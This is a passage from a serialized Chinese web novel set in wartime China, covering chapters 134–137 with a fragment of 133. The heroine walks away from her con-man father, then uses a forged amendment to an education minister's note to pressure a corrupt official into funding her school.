春妮家里世代种茶,恰恰家里以前的大茶园种的也是毛尖,对这些一点也不生疏,一眼识出好茶,用一个好价将它们全买了下来。 只不过…… 李德三瞟了一眼春妮,心里止不住地疑惑:那天买茶时,她不是说过,这茶品质极好,留着自己喝或是送人最妙,卖出去的话,除了海城某些高档茶楼,只怕很少有茶商愿意出合适的高价。至于双城,他们人生地不熟,贸然找人卖,只怕会吃亏,怎么现在又愿意卖出去了? 他为人机灵,只是将疑惑按在心中,听春妮跟那掌柜的道:“今天有些背时,出门时我们的样品弄丢了。掌柜的稍等半天,我回去一趟给你拿来。” 顾茂丰此刻已经疑心尽去,以为这小姑娘刚刚看他那么多回,只是为了卖茶,却并不觉得她能有什么好茶,随意笑道:“好,那我等着姑娘拿来。” 出了茶馆的门,春妮吩咐李德三道:“你先去民政局,我回去取茶。” 李德三满腹疑惑,道:“你今天不办事了?” 春妮知道,没个像样的说辞,怕是不好解释自己今天的反常,因而道:“我看那人有些像我家乡的族亲,欠了我家的钱,已是好多年不见,我得去探探底。” 在海城时,春妮闲时也会说起一些自己家乡的事,大家都知道,她在家乡经常遭受族亲欺凌,日子很难过。李德三以为她有些难言之隐,还问道:“那你不要我们帮忙?” 春妮果断拒绝,为防万一,还与他对了口风:“不必。对了,你若是哪一日碰见那个掌柜的,别告诉他我的名字,他若是问起来,你说我姓范就是。” 范姓是春妮外婆家姓,李德三已经定下来,要留在双城帮助校长办分校,怕是短时间之内,回不了海城了。 李德三自然是答应下来,转身去了。 春妮目送他离去,看了眼路边的路标,上面四个字“天门东一路”,心里明白过来。秦惠君告诉春妮,顾茂丰原本打算的是,在双城最繁华的街道上开一座茶楼,去时说得清楚,这茶楼的位置跑不脱“桂园路”“洪仙路”这些位置。那时他们手中的钱还充裕,双城各方面亟待开发,凭他们的身家,买个旺铺不成问题。 这边春妮回客栈取了茶,却没有马上赶去顾氏茶馆,而是去了相邻几家茶馆茶行打听行价,顺便打听顾氏茶馆的底细。 双城本身城区本身就不是很大,顾氏茶馆也算在天门码头左近,春妮跑了一下午,该知道的都知道得差不多了。 同行们告诉春妮,顾氏茶馆大约一年前才开张,卖的茶品也不出左近人家有的那几种茶。因为离正街有段距离,位置不是特别好,平时生意也一般。值得一提的是,这间茶馆以前是个小饭馆,后头老板生了伤寒,一病没了。一年之后,老板娘改嫁给顾茂丰,小饭馆重新开张,招牌便换成了现在的“顾氏茶馆”。 春妮想起以前海城租界街头那三层楼高的“顾氏茶楼”,心道,这姓顾的真是狗改不了吃|屎,不吃软饭怕是真活不下去吧?也不知同行嘴里那位“颇有身家”的再嫁老板娘,她有多少身家供顾茂丰嚼谷。 临时调查了这么多事,再赶去顾氏茶馆时,时间已经到了下午六点钟。双城实行宵禁制度,从晚上七点起,如无特殊事件,不许市民出门走动。 春妮赶到时,顾茂丰正站在茶馆门里头上板子。 “小姑娘,你怎么这时候才来?我都要关门了。” 春妮抹了抹汗,笑得憨憨的:“掌柜的这里不太好找,我冤枉走了些路。” 顾茂丰为难道:“可你也太晚了,要不你明天再来吧?” “别啊,”春妮急道:“我好不容易才找到这来,您一句话就打发了我,我不白背着东西走这么远了?” 她见顾茂丰不语,从袋子里抓出一小撮茶叶递到他面前:“掌柜的你看,这真的是好茶,我没骗你。” 顾茂丰拈起一小撮捻了捻,再闻了闻,眼中喜色一闪:鲜绿针状的茶叶上一抹均匀的白毫,闻上去苦中带甘,的确是上好的毛尖。 现在阳城这些产毛尖的地区落到倭国人手中,因为两地通航不便,市面上像这样品质的毛尖已经很少见到。若是他能用个好价拿下这小姑娘手上的茶,稍加运作,往后他顾氏茶馆的名声肯定会重新在双城响亮起来。 这小姑娘看上去也无甚心机…… 他很快做了决定,卸下门板,道:“也罢,看在你一个小姑娘身负重物不容易的份上,我们快些谈完吧。” 他嘴里说着“快些”,进了柜台,却是不紧不慢拿火著捅开茶炉的眼,跟她解释道:“我们买茶叶现场看货,都要先冲泡之后,看明白茶叶的香气,发色再说。”说着,打开后门叫道:“大妞,来帮爹打壶水来。” 后院里,一个梳羊角辫,约有七八岁的小姑娘骨嘟着嘴,慢吞吞来提了茶壶,皱眉道:“又使唤我做事,看我不跟我妈说。” 春妮问:“这是掌柜的女儿?长得挺机灵。” 顾茂丰此刻只当她是那些为了卖茶叶,想拍买家马屁,却拍不到点上的老实头。 他坦言道:“这是顾某继妻的孩子。” 见这小姑娘果然露出惶恐之色,他在心里笑了笑。这小丫头果然生嫩得很,受不住人装可怜。 她像是慌乱中找话说:“那您自己的孩子呢?” 顾茂丰摇了摇头:“没了。” “啊?这?” 小姑娘一副“我是不是又说错了话”的神态。 他驼下背,语气中有无限沉重:“前年一场大水,妻离子散,家破人亡。没了,什么都没了。” “您现在不是又成了婚吗?孩子总会再有的。”他听这小姑娘笨拙地安慰。 顾茂丰笑了,那笑容里仿似染上无限悲凉:“难啊。贱内多年前生产伤了身,怕是难再有孕。” 春妮:哦嚯。 第134章 134 讽刺 顾茂丰也不知怎么回事, 跟这小姑娘聊会儿天,差点将真心话全说了出来。 回不去了,这回是真的再也回不去了啊……顾茂丰轻声叹息。 他为了利益奔波半生, 到头来, 家没了,根没了,什么都没了。 这小姑娘这个年纪,跟他死去的丫头一边大吧?一张小脸埋在阴影里,似乎在真切地为他伤心。 要是春妮知道他现在想什么,估计会真的笑出声。年轻的时候把老婆老娘抛在家乡浪得没边,到老了以为流几滴鳄鱼的眼泪就算了帐?呸! 按春妮的经验看, 顾茂丰最后说的这句话只怕是真的。但那与她又有何干?正如秦惠君当年说的那样,他这样作孽, 活该妻离子散孤独终老。 可他现在好茶喝着,好房住着,家里家外有人操持,迎来最后的结局似乎还有相当的年头。死的却是她与人为善, 从不作恶,从不怨怪命运的妈妈。 春妮很少为渣爹的事生气, 包括她妈妈在内,对她说的最多的也是,咱们过好自己的日子比什么都强。你爹想干什么, 与你不相干,与咱们家不相干, 你只当他是咱们家久不来往的远亲。他回来了,你好好招待着,他不回来, 只要每年按时寄钱回来,他就是咱家不指手划脚,还不用应酬交际的活钱包,这样一想,还有什么不满意的? 春妮知道,妈妈不希望她渴望过多,这样会过得太辛苦,才想出这样的说辞劝导她,劝导自己。正好她上辈子生活的环境也不正常,这样带来的后果是,她现在看见顾茂丰,不管他过得多好,或是多惨,都抱持着看热闹的心态。 汲汲营营半辈子,亲生女儿对面不相识,讽不讽刺? 只是有一个疑问,他这顾氏茶馆一年前才开张,之前的那两年,他去了哪?秦惠君的人在两年多前来的双城,他那个时候在不在这? 热闹看罢,水滚冲茶,吊出茶香醇浓的苦香味,该到了谈生意的环节。 顾茂丰愁眉苦脸:“这年头生意不好做啊,我还有一大家子要养,小姑娘,你千万留个情,别开价太高。” “那掌柜的能拿出多少?” 他伸出手掌翻了翻:“十块现大洋。” “一两?”春妮故意问。 顾茂丰哽了哽:“一斤。”心里有些不乐,这小姑娘要价忒狠了,十块钱一两的价钱,那得是摆着慢慢零售才卖得出去。不过他开的十块一斤嘛…… 春妮沉下脸来:“掌柜的在开玩笑吧?我这茶叶什么品质你知道,枉我辛辛苦苦从老家贩过来,竟是白送给你的!” 顾茂丰看了看天色,这个时候,马上就要宵禁了…… 他好脾气地笑道:“这哪是白送呢?小姑娘,我这价钱你可以打听打听——” 春妮背起筐子就往外走:要不是为了探听他如今的境况,鬼才跟他演半天戏。真以为她急着卖茶叶?非他不可了? 她突然翻脸,顾茂丰被弄得一怔,这小姑娘咋不按套路出牌呢?她难道不是该跟他再磨磨? “哎,小姑娘,你等等,茶叶的价格,咱们好商量啊。”他按照套路追出去叫客。 然而这小姑娘步履轻捷,很快拐出他家在的巷道,三步两蹦,蹦出了他的视线之外。 他想破头也想不到,春妮的套路跟他根本不是一个,这笔生意,他注定是要黄的。 回到旅馆,各自被派出去办事的学生们都聚到春妮的房间里开会。 这是这段时间以来,他们每天都要做的事,今天自然也是照旧。 学生们你一言我一语地汇报:“今天买了八块条石,费用是……请了二十个棒棒,付了……” 一天的事情交代完毕,李德三落在最后,还是不放心:“你家的钱要回来没有?” 春妮摇摇头:“事情有些复杂,你别问了。” 她已经想明白,实在不想跟这人再有瓜葛。最多把奶奶的事办完之后,往后随他过好过歹,跟他江湖不再见。 春妮不是个拖泥带水的性格,下了决定之后,便一心一意将精力都投入到了学校建设当中,等待新校长抵达后,自己好早日返回海城。 今天无意中看到顾茂丰,让她开始思念夏生。这孩子一年大似一年,越发有了自己的主意,他不知什么时候跟学校附近的小混混关系处得不错,偶尔谁手里钱不凑手,还会周济一两个给他们。 这些小混混们有了什么话,也愿意找夏生来传,导致这孩子小小年纪,跟个包打听似的,耳目有时候比春妮都还灵便。 春妮看他只是有时找他们说话,并没有做出出格的事,也没有狠管他。在这样的年代,做事灵活,耳目灵便一些不是坏事。 顾氏茶馆就在邻近街道,渣爹新妻据说还颇有姿色,这年头,有姿色的寡妇总逃不脱在别人舌头里滚进滚出。春妮就是没刻意打听,也听到了不少有关顾氏茶馆的风言风语。 顾茂丰现在的妻子跟前夫生了三个孩子,那天春妮看到的,应该是最小的那个。最大的那个是男孩,有了十五岁,他妈改嫁给渣爹之后,叫送去剃头匠那做了学徒。 听到这里,春妮就知道,顾茂丰新妻这一家子,怕也不是他的对手。 偏渣爹在邻里之间口碑不错,他们说,原先那男孩他爹在时,淘得无法无天,不是今天打坏了同学的脑袋,就是明天偷了家里的钱出去玩,没个消停。还是顾茂丰娶了新妻之后,做主将那孩子送去了三条街外的剃头匠家里扭性子,如今待人接物算是有了些章法。 人一忙碌起来,时间过得特别快。 学校地基打好第三天,新校长抵达天门码头春妮他们住的旅馆。 那时候春妮他们已经在学校附近租了房子,只等着校舍盖完之后再搬进去。因为给新校长留的地址是以前住的旅馆名字,他们每天会派一个人去看新校长有没有到。 正好这天轮到春妮,赶去码头的路上,顾氏茶馆门前有一大群人围堵。 春妮绕过人群,听见路人议论:“哎呀,谁能想到,顾掌柜看着人模人样的,竟是那样一个狠心人呢,连着害死了两个老婆,啧啧啧。” 春妮脚步一顿,听另一人道:“这也不一定吧,我看顾掌柜的人挺好,谁知道这些话是不是有人想编来害他?” 茶馆里头一片狼籍,一个十五六岁的少年跳着脚地大骂:“你给老子滚出去!” 顾茂丰衣裳也乱了,脸上一大块淤青,苦着脸跟街坊们作揖:“对不住,让大伙看笑话了,都散了吧。”说着,死活将那少年拽进了后屋。 没一会儿,店小二出来撵人:“看什么,别看了,走走走!”将门板子也上上了。 春妮皱眉:前些日子,她跟婆婆妈妈们说话时散布了一些顾茂丰以前干的丰功伟绩,原指望能提醒他的继妻,让她别跟秦惠君似的,被坑得这么惨。没料想他继妻没动静,反而让他在三条街外做学徒的继子知道了消息,冒冒失失就闹开了。 待去了旅馆,春妮看见大堂竹椅里坐着的人,顾家那点事立刻被她抛到了脑后:“尹老师,你怎么来了?” 尹老师仍是那副黑框眼镜,笑得露出一口整齐的牙齿:“你说我怎么来了?” 春妮大喜:“你是方校长派来的新校长?怎么是你啊?” 她跟尹老师是生死之交,但他带着学生和老师们重回温南办分厂之后,就再也没到学校里去过。 春妮比方校长他们可能更清楚尹老师私底下还干着什么活,平时不说,心里未尝不是为他捏着把冷汗的,现在看见他平安无事站在自己面前,当即喜出望外:“走走走,同学们 都等急了,尹校长,跟我先去吃饭接风吧。” 以尹老师的能力,新学校和新工厂交到他手上,必然稳当了。 尹老师笑道:“别着急,我还带了几个老师跟我一起到双城来,你们都认识了吧?” 春妮笑:“怎么不认识?还要多谢各位老师肯万里迢迢,冒着风险来建校。”这些都是在学校里待过的任课老师,想不到校长早就准备好了。有了他们在,学校只要校舍准备好,随时就可以开课了。 学校既然来了人主持大局,春妮很快跟尹老师交接完各项事务,最后将付鸿民的事跟他说了。 尹老师面上不见愠色,只道:“难怪我说,怎么你这么着急要来创分校,原来是为了这件事。你打算怎么做?” 春妮道:“我现在有了部长的手书,姓付的就算想敷衍我封我的嘴,也得给个合适的数字,等我回了海城再跟他理论。” “那你想要我配合做什么?” 春妮心里也佩服尹老师的城府和敏锐,如果这次换任何一个人来,她都不会坦白得这样快。但尹老师不一样,他沉得住气,又有谋略,后续的事交到他手里,说不定比她亲自一趟趟来回还要好。 “教育部的关系不能断,您得再花心思多加维持,我明天花一天时间带你去认认人,那位黎先生可以深交。另外,有机会的话,我还想请您关注一下,海城还有没有其他类似的,我们不知道的拨款。” “没问题。”尹老师掏出笔,在笔记本上写写画画,最后站了起来:“那我就祝你回去的路上一路顺风了,期待你的机器早点运过来。” “我也祝您一切顺利。”春妮伸出手,同他握了握,两人相视一笑。 在双城办厂,最麻烦的是机器,特别是电机,春妮去过的地方中,只有港城和海城有。现在厂子还在办手续,没落实到最后,要是办了起来,机器得尽快到位。 离开尹老师的房间之后,春妮去码头定了一张去夷城的船票——华倭交战以夷城为战场,所有出双城的船都不能直航,必须到夷城绕过战场再另外转水路出发。 春妮定的是早班船,第二天五点不到,她谢绝了老师和学生们的送别,拎着行李,独自一人踏上了回海城的路。 去码头之前,她特意绕了一段路,走到顾氏茶馆门前敲了敲门,直到听见一声“谁啊”,她将手里的小包袱放在门槛上,退到了暗影之中。看顾茂丰卸下门板,拿起地上的东西,她毫不犹豫,转身离开。 包袱里放的是她奶奶的灵位,她实在没办法跟这样的亲爹相认,只能以这种方式完成奶奶的心愿。 “谁……谁放的这东西?你给我出来!妮儿?是不是你?妮儿,你出来啊!妮儿,你是不是在恨爹啊妮儿?”远远的,顾茂丰的声音劈了叉。 春妮将包袱掖了掖:这时候想起了女儿?晚了。 如果没有意外,这会是我这辈子最后一次见到顾茂丰。她想。 第135章 135 加工 顾氏茶馆后院, 东厢 顾茂丰手中拈香,对着面前的灵牌恭恭敬敬拜了三拜。 三年前大水之后,他回过一次钟县。从乡邻口中得知, 发大水那天, 有人看见他闺女带着儿子在渡口那乘船。他原以为,这两个孩子早就跟那天在渡口的无数人一样,已经沉尸沙河,然而,前些日子这块莫名出现在门口的灵牌让他重新燃起了希望。 家乡在山里,地势高,水淹过来时, 只是灌了农田,没受多大难。当远远看到家乡那不再熟悉的小山村燃起的袅袅炊烟时, 天知道他有多高兴。然而…… 他记得,他回家时,家里空荡荡的,包括灵牌, 什么都没有了。若说家具还有可能会被几位乡邻族亲顺走,但灵牌, 除了两个孩子,他实在想不到会有谁拿去。 所以说—— 望着灵牌,他低声道:“娘, 你要是在天有灵,就保佑儿子一定找到妮儿跟夏生, 现在这个世道,小孩儿家的,日子哪里会好过?儿子知道儿子以前混帐, 没好生孝敬过您一天,可我现在是真的悔了。儿子也不敢求别的,就想看看他们过得平不平安。若是平安——” 他顿了顿,似乎没想好怎么说,默默将线香插入到香炉之中,抓起八仙桌上的黑色呢帽扣在头上,转身向外走去。 好一个萧瑟失意人。 要春妮说,骗子的最高境界是什么?是骗人骗得自己都信了。反正,就是现在顾茂丰跪在春妮面前,给她磕十八个响头,从他嘴里出来的话,她也不会信半个字。 “当家的,又要出门啊?”顾茂丰继妻刘氏在院里看见,追出来问了一句。 顾茂丰低低“嗯”了一声。 “那你早点回来吃饭。”刘氏又叫道。 “吵死了,一天天起得鸡早,不知道又憋什么坏水。”顾茂丰刚走出大门,听见刘氏的大儿子广生出了房门。 “你这孩子,咋这样说呢,你爹他好不容易有点孩子的线索——” “爹什么爹,我爹躺在地下死了一年多了,他不是我爹!” 自从那天他跟自己撕破脸闹过一场之后,剃头匠那的活计也不干了,硬是搬回家,成天别的事不做,净跟在他身边打转,说要盯着他,免得他哪天搬了自己家的财产跑了。 顾茂丰心中一哂,不一会儿,耳边传来踢踢踏踏的脚步声,他那继子果然追了上来:“喂,姓顾的,等等,我叫你等等,你听没听见?” 顾茂丰唇角微勾,冲探头探脑的邻居们笑笑,软声道:“广生,走慢些,爹没说不等你。” ………… 自己随心投下的一颗小石子让远在双城的渣爹日子怎么难过,春妮半点不操心。 哪怕她知道了,也只会暗笑他一声活该,回头该干什么干什么去。 照她说,渣爹这些年日子就是过得太舒坦,才有功夫算计完这个再算计那个。他要是有点麻烦缠身,说不定还腾不出脑子,使不了这么多坏呢。 她有时候想,说不定骗人会遗传,她就是遗传的顾茂丰的骗子基因。明明她平时跟人争不了几句嘴,骗起人来,什么都编得有鼻子有眼。 就比如说,她回了海城,想问周景山老先生找一位擅于临摹别人字迹的行家,面对老人家的询问,她给出的理由是,她手上有一封亡父手书,只是略有毁损,想找个擅摹写字迹的高手修补完全后留作纪念。 老先生便以为这是春妮的隐私,很体贴地不再追问下去,并为她介绍了一位擅摹写的高手。 然后,她就拿着那副万里迢迢从教育部长那里求来的手书,花高价让那位摹写高手给她添添减减,“美化”了几个字。 在她找人写手书之前,严广福被她从锦阳大酒店紧急叫了回来。 春妮跟罗阿水两个一左一右,将严广福围起来,连番发问,将付鸿民这几天干了什么事,见了什么人全问了个底掉。 当然,严广福再机灵,也不可能短短几天时间,就巴结到付鸿民身边,当他的贴身仆欧。再者说,严广福不屑道:“当是多大个凯子,除了在女人身上舍得使钱,旁的脓得很。小爷前儿个帮他赢了那么大一注钱,也没说多分我一个。要不是有老师的吩咐,谁耐烦敷衍他。” 春妮还没说话,罗阿水已是一脚先踹了过去:“好好说话,你跟谁爷来爷去?” 严广福快步闪过,“嘿嘿”两声,正色道:“真的,你们信我,我感觉他真没那么有钱。你们打听他做什么?” “你问我还是我问你?你说他没那么有钱,那这几天,他花在女人身上有几个?” “光我知道的,有几百块现大洋吧,还有些是付外币的,总计算起来,有个不到一千块?” “一千块还不多?你 一个月能赚多少,这都看不上?口气不小。”罗阿水骂道。 “不是,大哥,我意思是……”严广福不知道该怎么解释。 春妮想到付鸿民那天在义卖会的表现,模糊明白严广福为何有此评价。姓付的心里没多少成算,又意外有了这笔横财,定然是有多少花多少,免得今天有明天就没了。这样一来,就很可能造成他月初有,月末可能就没了,毕竟造假单据也是要费工夫的。看在严广福眼里,就是他忽而挥霍无度,忽而又吝啬得一文小费都给不出,自然不怎么招人待见。 严广福看到的,还只能算冰山一角。春妮觉得,照这么估计,付鸿民一个月至少要花一两万左右。 去双城之前,关于付鸿民手上这笔钱的大小,她在跟教育部官员接触之后,也有了少许修正。这笔钱虽然都走海城的公帐,但有相当一部分要划到津城,阳城等几个大城市里去,分给海城的数目,应该有不少。具体有多少,到春妮离开双城前,也没打听出来。 尹老师到双城之后,把这个任务接了过来。 他还告诉春妮,德国跟倭国曾在战前结过一个同盟,如今大战兴起,国际形势巨变,这个同盟有多少分量暂时还不可知。但是,法国月前光速向德国滑跪,现任法国政府成了德国人的傀儡,谁知道德国人会不会看在盟友的份上,命令法国政府帮倭国人一把。 当然,德国人山高皇帝远,不可能直接投入战场帮倭国人打仗。但像庚款退款这样战前就已经在运作的资金帐户很难说会不会被冻结或转移。 毕竟,南城那边的伪政府班子在王季新的推进下已经搭建得差不多,反正都是华国政府,法国人将帐户名字改一改,汇到别的户头上,一点也不难。 当然,更有可能的,是法国人跟德国人倭国人沆瀣一气之后,双城政府停止赔付庚款,那么法国那边自然也不会再退款回来。 言下之意,春妮得加快动作了,总之先捞一笔是一笔。 正是因为跟尹校长谈了话,春妮一路上不敢耽搁,马不停蹄回到海城,根据严广福提供的支出大略算出付鸿民的收入,估算出一个数字,请人将教育部长写的条子艺术加工一遍,带着条子让方校长把付鸿民约了出来。 方校长这会儿才知道春妮急火火地去双城办了件什么大事,也幸亏方校长不爱揽权,性情温厚,闻言只是责备她两句不该一声不说就走。几人闭门商量半天,拿出个章程,春妮死活拒绝了韩厂长跟方校长陪同的要求,只带着罗阿水,赶往了约定地点。 她是防备着,万一她跟姓付的没谈拢,有方校长在,也好有个转圜处。 付鸿民这里麻烦就在于,这个钱不是藏在哪一处,只要找出来便罢。它是源源不绝,一点一滴必须通过付鸿民的手汇过来,从银行里取出来才能变现的。 没榨干他的用处之前,还不能跟他翻脸。 “顾老师来了?坐,这里伦敦糕做得不错,来吃点。” 付鸿民这人,不光好色,还好吃。 春妮推了推碟子,道:“付公知道我这次出海城去哪了吗?” 付鸿民完全没看出她的不对,还笑嘻嘻地问:“是啊,去哪了?” “我去了双城一趟。”春妮语气极其痛心疾首:“付公啊,我没想到,我们学校同您有这样的交情,您竟这样坑我们。” 付鸿民还懵着呢:“我?我怎么坑你们了?” “您知道我这次见到谁了吗?”春妮也不要他答:“我见到了咱们现任的教育部长,他告诉我,海城他们安排的有人为我们这些学校复课,这个人,就是付公您。” 付鸿民手一抖,半块吃剩的伦敦糕掉落下来。 “您告诉我,您手下的中法联会是干什么的?是专门为沦陷区学校和学龄学生提供资金帮助的,可您说说,我们认识这么久了,帮助在哪?”春妮说一句,敲一下桌子,付鸿民的身子就矮上一截。 “那些款项都有了用途。”好半天,付鸿民方想起来道。 春妮叹了口气:“我知道,海城沦陷这么久了,这些工作您肯定都另外有了安排。但是,凭咱们的交情,您真的忍心看我们学生没书没本子地苦挨?” “我——” 春妮翻出张条子,道:“部长得知我们学校的处境,深为痛心,特地为此事写了张条子请您帮忙。您看看。” “一,一万块?”付鸿民别的没看清,只看清了条子上那一连串的零,失声叫了出来。 春妮体贴地帮他把纸条扶正。 除掉称谓署名,只见巴掌大的纸寥寥两行字:“兹有江浦技术学校不畏艰难,在海城沦陷区坚持办学,其情可嘉,其志可佩。因其资金不足,办学陷入困境,望你部酌情予以该校资金或等值物资帮助,建议每月10000元。” “是一个月一万块。”春妮悠悠地道。 也是睡美人去年平均一个月他们可以分到手的净利润。 第136章 136 恭喜 两天后 春妮抖抖手里的支票, 内心感慨万分。 做到教育部长这样的官场老油子,即使情势在此,半求半迫地给春妮写了手书, 怎么可能具体到金额, 不留一点余地?手书上最后一句原话只有“望你部酌情予以该校资金或等值物资帮助”,后边的一万块钱自然是她请人摹写的功劳喽。 春妮不过是请人在部长手书上改了几个字,轻轻松松,一万块到手。 想想去年他们累死累活一整年做麻将凉席,平均一月也才拿到一万块钱的利润,这个钱到手也太容易了。 当骗子果然有钱途,难怪渣爹宁愿被人戳着脊梁骨骂, 也要坚持吃软饭骗女人钱,赶都赶不走。 当然, 期间付鸿民不是没有过怀疑,说了些诸如:“一万块?这也太多了吧?部长真不是在开玩笑?帐上真没那么多钱啊。” 春妮知道,哪怕是付鸿民,要他一时之间拿出一万块, 也跟割肉似的疼。 但他弄不清春妮去双城干了什么,跟部长是什么关系。又有罗阿水坐在旁边, 时不时睨着他冷笑,说一些诸如“像这种贪官,跟他讲什么道理”“妹子, 你就是心太软,有哥哥出手, 看他还唧唧歪歪”的话,或是不时将手往鼓鼓囊囊的腰里按按。 到底以需要向双城那边证实情况为由,拖延了两天。春妮手里的条子是真的, 当然不怕他证实,只不过不能随他想干什么干什么。当即说,一万块太引人眼馋,硬将罗阿水派在他身边跟了两天,等电报到手之后,马上第一时间迫他签字给了支票。 她这样做不是没有被双城政府拆穿的风险,但两地无法正常通讯,付鸿民想证实这张纸条真假,只能到邮局拍电报询问。 这时候通讯不稳定,电文讲究言简意赅,来回传递间,必然有失真之处,她完全可以拿这点略作文章。即使最后被付鸿民察觉造了假,她还准备了第二,第三套方案,完全可以慢慢玩。 相较而言,被拆穿的风险完全可以忽略不计。 不过,不到万不得以,春妮不打算撕破脸。 付鸿民磨磨蹭蹭,到底是给了出来。 回到学校,已经过了下午放学的时节。校长等在操场旁边,见他们回来,急忙迎上去:“怎么样?” 春妮得意一笑,点点头,唱戏似地打了个千儿:“幸不辱命。” 一番设计,一万块到手,她也有点飘了。 校长大喜,不由问道:“得了多少?” 春妮正要报出数字,忽而迎面走来一个人,她脸上的笑容不自觉地落了下来。 方校长察觉有异,转身过去,正看见山下友幸从办公的小楼下来,对两个人点头笑道:“顾老师,方校长,不回去吗?” 方校长敷衍地笑笑:“这不正要回去吗?” 倒是春妮礼貌地道:“一会儿就回去,山下先生最近好 像很忙。”突然来学校来得这么勤快。 通过这次付鸿民的事,她已经想明白了,世上讨厌的人太多了。她再讨厌对方,也没办法干掉他,还不如对待他像正常的同事一样,该干什么干什么,反正这么做也不少一块肉。 反而是山下看见她和颜悦色的态度,一怔,答道:“是,是啊,毕业季要到了,总是忙一点。” 方校长迫不及待将春妮拉到办公室,关好门窗,问道:“给了多少?” 春妮将支票递给他。 数清上面的零之后,方校长激动得手抖:“一万块!这钱也太容易挣了吧!” 春妮伸了个懒腰,笑道:“可不是,有了这一万块,校长总能放我一个月假了吧?” 这说的是前两天春妮回校时,巡捕房那边正好来收什么铁门捐,硬是打发不走,让她板起脸给糊弄走的事。她跟校长抱怨,刚回来就要办事,天天连轴转,校长得给她加工资。 校长也就是在建厂那会儿为了网罗人才大方了一回,听春妮的话,给高管开了分红。 现在哪哪都要花钱,他哪舍得再多出一分钱?闻言便道,这次回来,她的事办妥之后,给她放大假。春妮便狮子大开口,说要放一个月。 其实两人都知道,这个年代,就是校长真放了她一个月假,到处都在打仗,她能到哪去玩?还不是在家里躺一个月睡觉?而她的家现在就在学校,学校再有了事,找她不也方便得很? 方校长便唉声叹气道:“你还想放假?没听山下说,毕业季要到,你我又得忙起来了吗?”学生们的毕业季也是他们工厂做凉席的旺季,可以预见,每年到这个时候,他们的忙碌将会是其他人的双倍。 说到山下,春妮顺便问:“我走的这段时间,他还安分吧?那几个学生有没有发现不对的地方。” 春妮说的那几个学生,指的当然是她安插进互助会的那几个。 “还行吧,就是这段时间他忽然又来得勤快了些,也没看他干别的。” “得再盯紧些。毕业季到了,我怕他又要出夭蛾子。” “还用你说?我知道。”说完这些,方校长总算良心发现:“你回来也累了。这样吧,我多放你两天假,你好好休息休息,没事多出去转转玩玩。” “我能去哪玩?” 说归说,平白得两天假,春妮还是很开心的。 这一年多来,她不遗余力地培养接班人终于起到了大用。她去双城来回这一个月,学校里和她的小吃摊上都井井有条地,什么都没乱,而她最擅长最有口碑的功夫馒头也后继有了人。 跟那些敝帚自珍的传统手艺人不同,春妮会的东西多,她空间里的书也可以教授自己各种知识,她不缺学习的机缘。反而是这些学生,不是每个人都有机会做案牍工作,掌握一门手艺才是迫在眉睫。现在她拿出来卖的这几样吃食,她巴不得有人早点学会,免得顾客们慕名到了小吃摊,买不到想买的东西,平白损失了客源。 正好第二天就是周日,春妮带着夏生先去了一趟大世界。 秦伟准备的水球训练基地就在那附近,在她出发前,对方就一再邀请让她去看,春妮哪有这个时间?便一直拖到了现在。 春妮到的时候,秦伟正好也在。 看见她,秦伟笑呵呵地先是恭喜:“顾老师终于得偿所愿了吧?” 他的消息真是一点也不慢。 春妮没否认:“还要有赖秦少爷的关照。” 秦伟又说起水球比赛的事:“我的几个朋友都很感兴趣。南华晚报,申报也有了几篇报道,反响很不错,只等六月开赛一鸣惊人了。” “很不错啊。”春妮盯着看台下的泳池。现在的泳装还是相对保守一点,泳衣是连体式,一直延伸到锁骨下方,泳裤是四角形,该包的都包住了。论起可看性,当然比不上她看过视频里的比基尼,这样一穿,更显得专业。 她那个时候可没有体育比赛,姑娘们的白胳膊白腿在透明的水池下浮上浮下,极具动感之美。 “看到你这个样子,我对夏天的比赛更有了信心。”秦伟忽然道:“你真的不多投一点钱进去?到时候可别后悔。” 春妮笑道:“你看我像有钱人吗?前些日子给你投的钱,已经是我的全部积蓄了,还嫌不够?” 学校现在不差钱,反而是人不怎么够用。校长他们要将精力集中在即将到来的睡美人旺季,便放弃了这次入股机会。春妮为了维系跟秦伟的关系,才投了两百块进去。 哪怕是在这些富二代中,两百块钱也很够看了。这个年代,一条小黄鱼也才能换到两百多块现大洋呢。 “你不是才坑了付鸿民一笔大的吗?”秦伟极力劝说。他现在越来越觉得,这个小姑娘是隐形的财富,得让她跟自己绑得更牢点。 “这是学校的钱,已经全入了学校的帐。” 春妮这句话说完,发现秦伟没作声,看了过去。只见他瞪着她,眼神里满是“真的?你没骗我?”。 如果是前世的春妮,同秦伟或许很有共同语言。可这一世,不知怎么回事,她慢慢对汲取财富,积攒身家失去了兴趣。 凭她的金手指,只要她愿意,随时都能赚到钱。可每每想到那些躺在华界街道上的小难民,那些在吴江江头,沿河流浪,被倭国人抢走最后一点粮食的老百姓,那些赤着脚,踏在冰冷的江水中,将身子绷成一条弓线的纤夫,她总觉得,自己要做的事能有更多。 方校长要是知道,他终于教会了春妮什么叫“老吾老,以及人之老;幼吾幼,以及人之幼”,估计会高兴得跳起来。 春妮忽然觉得没意思,起身道:“我先走了。” 以前在末世,基地领导为了鼓励他们出外开拓安全区,经常跟他们同吃同住,身先士卒。而到了这个年代,这么大的贫富差距,她始终没法适应。 她从没有比这一刻更明白,她跟秦伟这种富二代,做生意可以,想当朋友,只怕是永远都不可能。 春妮也不是一竿子打死一群人。 同样是富二代,夏风萍家里的生活过得却是超乎她想象的节俭。 两人结束同居舍友生活之后,尽管同在一所学校,相聚的机会却不多。这次趁校长多给她放了两天假,她跟夏风萍约好去她家做了一回客。 一进门,她立刻发现了跟以前不一样的地方。 夏风萍知道她在疑惑什么,解释道:“家里的第一层我租了出去。你以后要找我,直接上第二层来。” “为什么?” 春妮知道,夏风萍很满意父亲给她的这处别墅。于太太找她问了几次,她都没松口将房子租给他们一家。 夏风萍没答。 春妮只好换了个问题:“那你租给谁了?” 也不知道她知不知道朱先生的第二职业,把房子就这么租出去,会不会有危险? 第137章 137 旗帜 夏家, 二楼盥洗室 夏风萍搬个凳子,坐在水池前跟春妮说话:“反正这房子我跟家辉两个人住不完,租出去也是份收入。” 春妮毫不留情戳穿她:“头发都剪不起了, 怕是房租拿来救命的吧?” 今天春妮应邀来夏风萍家吃饭, 话没说两句,这姑娘毫不见外,先打发夏生去朱先生书房里找小说看,自己拿着把剪刀递到她手上,说最近头发长得有些长,扎在脖子里发痒,让她给帮忙剪剪。 因为学生们太穷, 学校老师们几乎都练出了一身好本领,什么缝袜子补扣子, 给学生剃头理发……能不花钱的就不花钱。特别是剪头发,现在理发店剪一次头五六块钱呢,谁剪得起? 